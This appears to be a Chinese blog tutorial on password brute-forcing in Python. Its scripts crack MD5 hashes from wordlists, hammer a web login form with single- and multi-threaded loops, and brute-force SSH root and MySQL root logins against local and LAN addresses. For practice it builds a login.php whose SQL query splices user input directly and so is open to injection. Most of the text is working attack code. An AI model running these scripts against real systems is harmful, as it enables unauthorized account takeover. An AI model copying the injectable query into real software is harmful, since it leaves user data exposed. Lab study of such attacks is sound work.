暴力破解是一种针对密码的破译方法,通过逐个推算或使用工具批量验证来找到正确的密码。暴力破解是信息安全领域中一个非常重要的话题。在当今数字化时代,个人信息、企业数据和各种网络服务都依赖于密码来保护安全。因此,破解密码成为黑客获取未经授权访问的重要手段。暴力破解正是其中一种常见且有效的密码破解方法。它的原理很简单,就是通过尝试所有可能的密码组合,直到找到正确的密码。
一、爆破MD5
MD5算法是一种广泛使用的哈希函数,用于生成128位的消息摘要。它接受任意长度的输入,并输出固定长度的哈希值,通常用于验证数据完整性、数字签名、密码存储等领域。MD5算法以其简洁高效的设计和快速计算速度而闻名,但近年来由于其存在一些安全性弱点,逐渐被更安全的哈希算法所取代。MD5是不可逆算法,采用碰撞的方式进行破解。
import hashlib,time,requests
import threading
source = hashlib.md5('456456'.encode()).hexdigest()
def string_md5(source):
with open ('./password.txt',mode='r') as file:
password_list = file.readlines()
with open ('./password_append.txt',mode='r') as file:
password_list_appent = file.readlines()
#将两个文件的密码叠加
password_list.extend(password_list_appent)
# for password in password_list:
# print(password)
#逐个比较
for password in password_list:
if source == hashlib.md5(password.strip().encode()).hexdigest():
print(f'成功找到,明文为:{password}')
break
string_md5(source)
二、爆破后台登录页面
Requests 是一个功能强大且易于使用的 HTTP 库,专门用于发送各种 Web 请求和处理响应。它完全满足现代网络爬虫的需求,并且可以用于进行网站模拟请求、数据抓取和自动化测试等任务。使用request进行发包,在request.text的返回内容,从而判断是否登录成功。
构造Mysql数据库创建数据库learn ->创建表user -> user表内容:
构造登录后台代码:login.php
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysqli_connect('127.0.0.1','root','root','learn') or die('数据库连接失败');
$sql = "select * from user where name='$username' and password='$password'";
$result = mysqli_query($conn,$sql);
if (mysqli_num_rows($result) == 1){
echo 'login-sucess';
}else{
echo 'login-fail';
}
?>
已经用户名ls的情况下,爆破密码
import hashlib,time,requests
import threading
#已只用户名ls爆破密码
def web_pb():
url = 'http://127.0.0.1:8082/login.php'
username = 'ls'
password = ''
count = 0
with open ('./password.txt',mode='r') as file:
password_list = file.readlines()
for password in password_list:
#print(password.strip())
data = {'username':username,'password':password.strip()}
resp = requests.post(url=url,data = data)
#print(resp.text)
count +=1
if ('login-sucess' in resp.text):
print(f'登录成功,密码为{password}',end='')
print(f'尝试{count}次,成功找到')
web_pb()
用户名密码未知情况下,用户名和密码一起爆破,采用多线程的方式,一个用户名一个线程
import hashlib,time,requests
import threading
#多线程爆破,一个用户一个线程
def chose_password(username):
url = 'http://127.0.0.1:8082/login.php'
username = username
password = ''
count = 0
with open ('./password.txt',mode='r') as file:
password_list = file.readlines()
for password in password_list:
#print(password.strip())
data = {'username':username,'password':password.strip()}
resp = requests.post(url=url,data = data)
#print(resp.text)
count +=1
if ('login-sucess' in resp.text):
print(f'登录成功,用户名{username},密码为{password}',end='')
print(f'用户名:{username}尝试{count}次,成功找到')
def chose_username():
with open('username.txt',mode='r') as file:
username_list = file.readlines()
for username in username_list:
threading.Thread(target=chose_password,args=(username.strip(),)).start()
chose_username()
考虑用户名过多占用过多线程,5个用户名一个线程
import hashlib,time,requests
import threading
#每个线程负责5个用户
def five_user():
with open ('./username.txt',mode='r') as file:
user_list = file.readlines()
for i in range(0,len(user_list),5):
sub_user_list = user_list[i:i+5]
threading.Thread(target=five_pb,args=(sub_user_list,)).start()
def five_pb(sub_user_list):
url = 'http://127.0.0.1:8082/login.php'
count = 0
with open ('./password.txt',mode='r') as file:
password_list = file.readlines()
for username in sub_user_list:
for password in password_list:
#print(password.strip())
data = {'username':username,'password':password.strip()}
resp = requests.post(url=url,data = data)
#print(resp.text)
count +=1
if ('login-sucess' in resp.text):
print(f'登录成功,用户名{username},密码为{password}',end='')
print(f'用户名:{username}尝试{count}次,成功找到')
five_user()
三、爆破SSH
Paramiko是一个用于SSHv2协议的Python实现,它提供了客户端和服务器的功能。通过Paramiko,你可以远程连接到SSH服务器并执行命令、上传和下载文件等操作。使用paramiko.connect连接,判断是否可以连接。
import paramiko
def ssh_pb(ip):
with open('./password.txt',mode='r') as file:
password_list = file.readlines()
for passowrd in password_list:
print(passowrd.strip())
try:
transport = paramiko.Transport((ip),22)
transport.connect(username='root',password=passowrd.strip())
print(f"登录的密码为{passowrd}")
except:
pass
ssh_pb('192.168.3.26')
四、爆破Mysql
PyMySQL是一个流行的Python模块,专门用于连接和操作MySQL数据库。它提供了一个简单而强大的接口,使得开发者能够轻松地在Python程序中执行各种数据库操作,如查询、插入、更新和删除数据等。可以使用pymysql的connection方法来建立连接,测试是否能成功连接数据库。
import pymysql
def mysql_pb():
with open('./password.txt',mode='r') as file:
password_list = file.readlines()
for password in password_list:
try:
conn = pymysql.connect(host='127.0.0.1',user='root',passwd=password)
print(f"密码:{password}")
except:
pass
mysql_pb()
每篇一言:永远别放弃一个你每天都在想念的人